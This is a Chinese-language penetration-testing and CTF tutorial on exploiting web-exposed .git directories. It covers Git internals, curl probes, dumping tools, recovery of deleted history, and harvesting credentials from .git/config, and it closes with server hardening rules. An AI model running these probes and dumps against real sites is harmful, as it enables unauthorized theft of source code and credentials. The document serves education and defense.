前言

Git 泄露是指由于运维配置不当,Web 目录下的 .git 文件夹对公网暴露,攻击者可以直接下载整个 Git 仓库的元数据,进而恢复网站完整的源代码历史提交记录配置文件中的敏感信息(数据库密码、API 密钥等)。

这类漏洞在 CTF 和渗透测试中非常常见,且利用工具成熟——自动化工具可以在数分钟内完成从扫描到完整源码恢复的全过程。

核心危害:

  • 恢复网站所有源代码(包括未在 Web 层直接暴露的后端逻辑)
  • 获取 .git/config 中的数据库密码、API Token 等凭据
  • 通过 git log + git reflog 恢复曾经提交、后来被删除的敏感文件
  • 对比历史版本,发现开发者在修复漏洞前留下的”有漏洞版本”
  • 获取 .gitignore 中列出的敏感文件名,再针对性访问

一、Git 内部对象模型

了解 Git 的存储结构是理解”为什么能通过 .git 目录恢复完整源码”的关键。

1.1 四种核心对象

1
2
3
4
5
6
7
8
9
10
11
┌──────────────────────────────────────────────────────────────┐
│ Git 对象模型 │
│ │
│ Commit ───→ 包含: author, committer, message, parent, tree │
│ │ │
│ └──→ Tree ───→ 包含: 文件名 + 对应 Blob 哈希 列表 │
│ │ │
│ └──→ Blob ───→ 文件内容(不含文件名!) │
│ │
│ Tag ───→ 包含: 标签名 + 指向的 Commit 哈希 │
└──────────────────────────────────────────────────────────────┘
对象 存储内容 示例
Blob 文件的实际内容(压缩后) hello world → 哈希 95d09f2...
Tree 目录结构(文件名 → Blob 哈希 的映射) {"index.php": "a1b2c3...", "config/": "d4e5f6..."}
Commit 提交信息(作者、时间、message、指向的 Tree、父 Commit) commit message: "fix bug"
Tag 给特定 Commit 起的别名 v1.0 → commit abc123

关键性质:

  • 每个对象都以其内容的 SHA-1 哈希命名,存储在 .git/objects/ 下(前两位为目录名,后 38 位为文件名)
  • 只要拿到 .git/objects/ 中的文件,就能恢复对应的源代码
  • 更新一个文件 → 新的 Blob + 新的 Tree + 新的 Commit,旧对象不会立即删除

1.2 .git 目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.git/
├── HEAD # 当前分支指针(ref: refs/heads/main)
├── config # 仓库配置 → 可能含远程地址、凭据
├── description # 仓库描述
├── index # 暂存区
├── refs/ # 引用
│ ├── heads/ # 本地分支(main, dev, feature/xxx)
│ └── tags/ # 标签(v1.0, v2.0)
├── objects/ # 对象数据库(核心!)
│ ├── 5f/
│ │ └── ef682d... # 单个对象文件
│ ├── info/
│ │ └── packs/ # 打包对象索引
│ └── pack/ # 打包的对象(大文件优化)
└── logs/ # 操作日志
├── HEAD # HEAD 变更记录(git reflog 的数据源)
└── refs/ # 各分支的变更日志

HEAD → refs/heads/main → 指向最新 Commit 哈希,这是整个引用链的起点。只要拿到这个链,就能遍历所有对象。

1.3 追踪一条引用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.git/HEAD
↓ 内容: "ref: refs/heads/main"
.git/refs/heads/main
↓ 内容: "abc123def456..." (最新 commit 的 SHA-1)
.git/objects/ab/c123def456...
↓ git cat-file -p abc123 → 得到 commit 内容:
│ tree d4e5f6789...
│ parent 111aaa222... ← 上一个 commit
│ author ...
│ message "fix login bug"
.git/objects/d4/e5f6789...
↓ git cat-file -p d4e5f6 → 得到 tree 内容:
│ 100644 blob a1b2c3... index.php
│ 040000 tree b4c5d6... config/
.git/objects/a1/b2c3...
↓ git cat-file -p a1b2c3 → 得到文件内容:
<?php echo "hello"; ?>

结论: 只要 .git/objects/ 完整,就能 100% 恢复整个仓库的所有文件和历史版本。


二、.git 泄露的成因与检测

2.1 常见成因

原因 说明
部署方式错误 开发者直接在服务器上 git clone 后当作生产环境使用
CI/CD 配置失误 构建脚本将 .git 目录一起打包进 Web 根目录
Docker 构建残留 .dockerignore 未排除 .git,镜像中包含完整仓库
Nginx/Apache 配置不当 未拦截对隐藏目录(.开头)的访问
备份文件恢复 从备份还原 .git 被一起恢复到了 Web 路径下

2.2 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
# 方法1:直接访问
curl http://target.com/.git/HEAD

# 方法2:访问 config(可能含敏感信息)
curl http://target.com/.git/config

# 方法3:访问 index(暂存区信息)
curl http://target.com/.git/index

# 方法4:目录扫描
dirb http://target.com /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://target.com -x .git

判断标准: 如果 http://target.com/.git/HEAD 返回 ref: refs/heads/mainref: refs/heads/master,确认存在 Git 泄露。

2.3 部分泄露 vs 完整泄露

情况 .git/HEAD .git/objects/ 可恢复内容
完整泄露 ✓ 可访问 ✓ 目录可列 全部源码 + 全部历史
无目录列表 ✓ 可访问 ✗ 不可列,但文件可访问(已知哈希) 部分对象(需手动推断哈希)
HEAD 不可访问 部分对象可猜解 零星文件(难度大)

三、自动化利用工具

通用前提: 确认 http://target.com/.git/HEAD 可访问后,先用工具整体 dump。

3.1 GitHack(Python,最常用)

1
2
3
4
5
6
7
8
9
10
11
# 克隆仓库
git clone https://github.com/lijiejie/GitHack.git
cd GitHack

# 一键 dump
python GitHack.py http://target.com/.git/

# 恢复的文件在 ./target.com/ 目录下
cd target.com/
git log --oneline
git show HEAD:config.php

原理: 先解析 .git/HEAD 拿到当前分支 → 下载引用链上的 commit/tree/blob 对象 → 发现缺失的对象时尝试爆破常见哈希前缀 → 本地重建 git 仓库。

3.2 git-dumper(Python,断点续传)

1
2
3
4
5
6
7
8
9
# 安装
pip install git-dumper

# dump(支持断点续传,目录不可列时仍可尝试)
git-dumper http://target.com/.git/ ./output_dir

# 恢复完成后在输出目录中执行
cd output_dir
git checkout HEAD # 恢复工作区文件

优势:.git/objects/ 目录无法列出但可以猜到哈希时,会依次尝试下载已知对象的所有可能子对象。对恢复非 HEAD 指向的历史文件尤其有效。

3.3 GitHacker(Node.js)

1
2
3
4
5
6
# 安装
git clone https://github.com/wangyihang/GitHacker.git
cd GitHacker

# 一键恢复
node githacker.js --url http://target.com/.git/ --output-folder ./result

3.4 GitTools(多工具组合)

1
2
3
4
5
6
7
8
9
10
11
git clone https://github.com/internetwache/GitTools.git
cd GitTools

# Finder:自动探测 .git 泄露
./gitfinder.sh -i targets.txt

# Dumper:下载 .git 目录
./gitdumper.sh http://target.com/.git/ ./output

# Extractor:从下载的对象中提取文件
./extractor.sh ./output ./extracted

3.5 dvcs-ripper(支持 Git/SVN/HG/Bazaar)

1
2
3
4
5
6
7
8
9
10
11
git clone https://github.com/kost/dvcs-ripper.git
cd dvcs-ripper

# Git
./rip-git.pl -v -u http://target.com/.git/

# SVN
./rip-svn.pl -v -u http://target.com/.svn/

# Mercurial (HG)
./rip-hg.pl -v -u http://target.com/.hg/

四、手动利用流程

4.1 基础恢复

1
2
3
4
5
6
7
8
9
10
11
# Step 1: 用 GitHack / git-dumper dump 整个 .git 目录
cd output_dir

# Step 2: 检查仓库状态
git status

# Step 3: 查看所有提交历史
git log --all --oneline --graph

# Step 4: 恢复工作区(如果 dump 后处于 detached HEAD 状态)
git checkout main # 或 master

4.2 查看引用链

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看 HEAD
cat .git/HEAD
# → ref: refs/heads/main

# 查看当前分支指向的 commit
cat .git/refs/heads/main
# → abc123def456...(最新 commit 哈希)

# 查看所有分支
ls .git/refs/heads/

# 查看所有标签
ls .git/refs/tags/

4.3 查看历史版本

1
2
3
4
5
6
7
8
9
10
11
# 紧凑版提交图
git log --all --oneline --graph

# 详细版(含变更文件列表)
git log --all --stat

# 查看某次提交的详细变更
git show <commit-hash>

# 查看某次提交时的某个文件
git show <commit-hash>:config.php

4.4 恢复已删除的文件

关键概念: git log 只显示当前分支能追溯到的 commit。如果一个文件在提交后被删除、且该删除也被 commit 了,普通 git log 看不到。此时需要 git reflog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看引用日志(记录了 HEAD 的所有变更,包括已删除的分支和 reset 的 commit)
git reflog

# 示例输出:
# abc1234 HEAD@{0}: commit: remove secret key
# def5678 HEAD@{1}: commit: add config
# 789abcd HEAD@{2}: commit (initial): init

# 查看某次操作前的状态
git show HEAD@{1}:config.php # 显示 config.php 被删除前的内容

# 从历史中恢复文件
git checkout HEAD@{1} -- config.php

# 创建分支保留历史状态
git branch recover-branch def5678
git checkout recover-branch

4.5 用 cat-file 手动查看对象

git log/git reflog 不可用时(如部分对象损坏),可以直接解包对象文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看对象类型(commit / tree / blob)
git cat-file -t <object-hash>

# 查看对象内容(-p = pretty-print,自动检测类型并格式化输出)
git cat-file -p <object-hash>

# 对于 commit 对象 → 显示 author、message、tree hash
git cat-file -p abc123d

# 对于 tree 对象 → 显示目录结构和 blob 哈希
git cat-file -p d4e5f67

# 对于 blob 对象 → 显示文件原始内容
git cat-file -p a1b2c3d

# 查看 tree 中所有 blob(递归)
git ls-tree -r <commit-hash>

4.6 恢复孤立对象(dangling objects)

Git 会定期执行 git gc(垃圾回收),但在那之前,被删除的分支/commit 指向的孤立对象仍在 .git/objects/ 中。

1
2
3
4
5
6
7
8
9
10
11
12
# 列出所有未被引用的对象
git fsck --full --no-reflogs --unreachable

# 列出所有 dangling blob(无引用的文件内容)
git fsck --full --no-reflogs --dangling

# 查看某个 dangling blob 的内容
git cat-file -p <dangling-blob-hash>

# 导出所有 dangling blob 为文件
git fsck --lost-found
# 恢复的文件位于 .git/lost-found/other/

这在 CTF 中非常实用——开发者可能曾经 commit 过 flag.txt,后来删除并 git commit --amend 覆盖了 commit,但旧的 blob 仍未回收。


五、Git 命令速查表

5.1 仓库操作

1
2
3
git init                        # 初始化仓库
git clone <url> # 克隆远程仓库
git status # 查看暂存区状态

5.2 暂存与提交

1
2
3
4
5
git add a.txt                   # 工作区 → 暂存区
git rm --cached a.txt # 取消暂存
git commit -m "message" # 暂存区 → 本地仓库
git log # 查看提交历史
git log --all --oneline --graph # 图形化所有分支历史

5.3 撤销操作

1
2
3
git restore a.txt               # 撤销工作区修改(前提:已 commit 过)
git reset --hard <commit-hash> # 重置到指定 commit(log 中会丢失之后的记录)
git revert <commit-hash> # 创建新 commit 来撤销旧 commit(推荐!保留完整历史)

reset vs revert: reset --hard 直接”倒退”历史,之后的 commit 在 git log 中消失(但 git reflog 仍可恢复)。revert 创建新 commit,git log 中保留完整记录。生产环境中有审计需求时优先用 revert。

5.4 分支与合并

1
2
3
4
5
git branch <name>               # 创建分支
git branch -v # 查看所有分支
git checkout <branch> # 切换分支
git checkout -b <name> # 创建并切换到新分支
git merge <branch> # 将指定分支合并到当前分支

5.5 标签

1
2
3
git tag <name> <commit-hash>    # 给 commit 起别名
git tag -d <name> # 删除标签
git tag # 列出所有标签

5.6 查看对象内容

1
2
3
4
5
6
git cat-file -t <hash>          # 查看对象类型(commit/tree/blob)
git cat-file -p <hash> # 查看对象内容
git show <hash> # 查看 commit 的变更详情
git show <hash>:<file-path> # 查看某次 commit 时的文件内容
git ls-tree -r <commit-hash> # 递归列出 commit 对应的所有文件
git ls-files --stage # 查看暂存区(index)中的文件

5.7 低层命令(绕过 git 命令直接读取 .git 文件)

1
2
3
4
5
6
7
8
9
10
# 读取对象文件的内容(git cat-file 的底层等价操作)
# 对象文件位于 .git/objects/XX/YYYYYYYY... 其中 XX 是哈希前两位
# 内容以 zlib 压缩,需解压

# 解压对象文件
python3 -c "
import zlib, sys
with open('.git/objects/XX/YYYY...', 'rb') as f:
print(zlib.decompress(f.read()))
"

六、无目录列表时的利用技巧

有些服务器配置了 Nginx/Apache 禁止目录遍历(autoindex off),但 .git 下的文件仍可从 URL 直接访问——前提是知道文件名(SHA-1 哈希)。

6.1 已知文件推断哈希

已知信息 可推断
.git/HEAD 可访问 拿到当前分支 → refs/heads/<branch> → 拿到最新 commit 哈希
最新 commit 哈希 git cat-file -p → 拿到 tree 哈希
tree 哈希 tree 内容中包含所有子 tree 和 blob 的哈希
一个已知的 blob 文件内容是确定的,重新计算哈希就知道它存储的路径

6.2 根据已知文件回推 Blob 哈希

Git 的 blob 哈希计算方式固定:

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

def git_blob_hash(content):
"""计算给定内容的 Git blob SHA-1 哈希"""
header = f"blob {len(content)}\0"
store = header.encode() + content.encode()
return hashlib.sha1(store).hexdigest()

# 示例:已知 robots.txt 的内容是 "User-agent: *\nDisallow: /\n"
content = "User-agent: *\nDisallow: /\n"
blob_hash = git_blob_hash(content)
print(f".git/objects/{blob_hash[:2]}/{blob_hash[2:]}")
# 如果服务器上该 blob 存在,就能直接下载

6.3 利用 pack 文件

当对象被打包(git gc 后),哈希不再以独立文件存储,而是合并到 .git/objects/pack/pack-xxx.pack 中。可以下载 .pack.idx 文件后用 git unpack-objects 将对象还原。

1
2
3
4
5
6
7
# 下载 pack 和 idx 文件
wget http://target.com/.git/objects/pack/pack-xxx.idx
wget http://target.com/.git/objects/pack/pack-xxx.pack

# 将 pack 文件放入本地仓库的 .git/objects/pack/ 目录
# 然后解包
git unpack-objects < pack-xxx.pack

6.4 信息文件辅助

以下文件通常不依赖目录列表也能访问,可作为信息收集起点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 仓库配置(可能含远程地址、token)
curl http://target.com/.git/config

# 仓库描述
curl http://target.com/.git/description

# HEAD 引用
curl http://target.com/.git/HEAD

# 打包的引用(packed-refs)
curl http://target.com/.git/packed-refs

# 暂存区索引
curl http://target.com/.git/index

# 各分支引用
curl http://target.com/.git/refs/heads/main
curl http://target.com/.git/refs/heads/master

# .gitignore(列出不应提交但可能存在的敏感文件)
curl http://target.com/.gitignore

# Git 属性文件
curl http://target.com/.gitattributes

七、.git/config 中的敏感信息

这是 Git 泄露中最直接的高危发现——.git/config 中可能包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[core]
repositoryformatversion = 0
filemode = true

[remote "origin"]
url = https://oauth2:ghp_xxxxxxxxxxxx@github.com/company/private-repo.git
# ↑ 含 GitHub Personal Access Token!
fetch = +refs/heads/*:refs/remotes/origin/*

[remote "production"]
url = ssh://deploy:SuperSecretPassw0rd@prod-server.com:22/var/www/app
# ↑ 含 SSH 账号密码!

[credential]
helper = store
# 凭据可能在 ~/.git-credentials 中

攻击链: .git/config 泄露 → 拿到 GitHub Token → 远程 clone 私有仓库 → 获取更多源码和凭据 → 横向渗透。


八、CTF 中的进阶利用

8.1 找 Flag 的关键位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. 搜索全部历史中包含 flag 的 commit
git log --all -p | grep -i flag

# 2. 搜索所有 blob 内容
git rev-list --all | while read hash; do
git grep -i flag $hash 2>/dev/null
done

# 3. 看是否有 commit message 中提示 "remove flag" / "delete secret"
git log --all --oneline | grep -iE 'flag|remove|delete|secret|key'

# 4. 检查 .gitignore 中排除的文件
cat .gitignore
# 如果包含 secret.txt / flag.php 等,直接访问对应 URL
curl http://target.com/secret.txt
curl http://target.com/flag.php

8.2 恢复被 amend 覆盖的 commit

1
2
3
4
5
6
7
8
# 开发者操作: git commit -m "add feature X"
# 然后: git commit --amend -m "add feature X (clean)")
# 第一个 commit 被覆盖,但 blob 仍在

# 恢复:
git reflog # 找到 amend 前的 HEAD
git show HEAD@{1} # 查看被覆盖的版本
git checkout -b recover HEAD@{1} # 切出分支查看完整文件

8.3 恢复被 git reset --hard 删除的代码

1
2
3
4
5
6
# 开发者: git reset --hard HEAD~3  # 回退了 3 个 commit
# 恢复:
git reflog
# 找到 reset 之前的 HEAD(如 HEAD@{1})
git checkout -b rescue HEAD@{1}
git log --oneline # 所有"丢失"的 commit 都在这

8.4 利用 stash 中的内容

1
2
3
4
5
6
7
8
9
10
# 开发者可能 stash 过临时修改,含有 flag
git stash list

# 查看 stash 内容
git stash show -p

# 恢复 stash
git stash pop
# 或
git stash apply

8.5 交叉引用不同分支

1
2
3
4
5
6
7
8
9
# 查看所有分支
git branch -a

# 切换到开发分支(通常有更多未清理的调试代码和注释)
git checkout dev
git checkout feature-xxx

# 对比分支差异
git diff main..dev

九、相关泄露类型

9.1 SVN 泄露(.svn)

SVN 1.6 及更早版本在每个目录下都有一个 .svn 文件夹,其中 entries 文件包含完整的文件列表和 text-base(源代码副本)。

1
2
3
4
5
6
7
8
9
10
# 探测
curl http://target.com/.svn/entries
curl http://target.com/.svn/wc.db # SVN 1.7+ 使用 SQLite 数据库

# 工具
git clone https://github.com/kost/dvcs-ripper.git
./rip-svn.pl -v -u http://target.com/.svn/

# svn-extractor
git clone https://github.com/anantshri/svn-extractor.git

9.2 DS_Store 泄露(macOS)

macOS 在浏览文件夹时自动生成 .DS_Store 文件,其中包含目录下的所有文件名。

1
2
3
4
5
6
# 探测
curl http://target.com/.DS_Store

# 解析
git clone https://github.com/gehaxelt/Python-dsstore.git
python dsstore_dump.py .DS_Store

9.3 Mercurial / Bazaar 泄露

1
2
3
4
5
# Mercurial (.hg)
curl http://target.com/.hg/store/fncache

# Bazaar (.bzr)
curl http://target.com/.bzr/README

十、防御措施

层面 措施 说明
Web 服务器 禁止访问以 . 开头的隐藏目录 Nginx: location ~ /\. { deny all; }
Web 服务器 Apache: RedirectMatch 404 /\.git 返回 404 而非 403(403 暴露目录存在)
部署流程 使用 CI/CD 构建产物部署,而非直接 git clone 部署时复制文件到 Web 目录,不包含 .git
Docker .dockerignore 中添加 .git 避免将仓库打入镜像
权限 .git 目录设 chmod 000 或属主改为非 Web 用户 Web 进程无权读取 .git
监控 告警对 /.git/HEAD 的访问请求 正常用户不会请求该路径
预提交检查 .git/hooks/pre-commit 扫描敏感信息 阻止提交含密码/token 的文件
安全培训 教育开发者不要在生产服务器上 git clone 从源头上消除泄漏

防御配置示例

Nginx:

1
2
3
4
5
6
7
8
9
10
11
# 拒绝所有 .git 相关请求
location ~ /\.git {
deny all;
return 404;
}

# 拒绝其他版本控制目录
location ~ /\.(svn|hg|bzr|DS_Store) {
deny all;
return 404;
}

Apache(.htaccess 或 httpd.conf):

1
2
3
4
5
6
7
<DirectoryMatch "^\.git">
Require all denied
</DirectoryMatch>

RedirectMatch 404 /\.git/
RedirectMatch 404 /\.svn/
RedirectMatch 404 /\.DS_Store

Docker(.dockerignore):

1
2
3
4
5
6
.git
.gitignore
.gitattributes
*.md
.env
node_modules

参考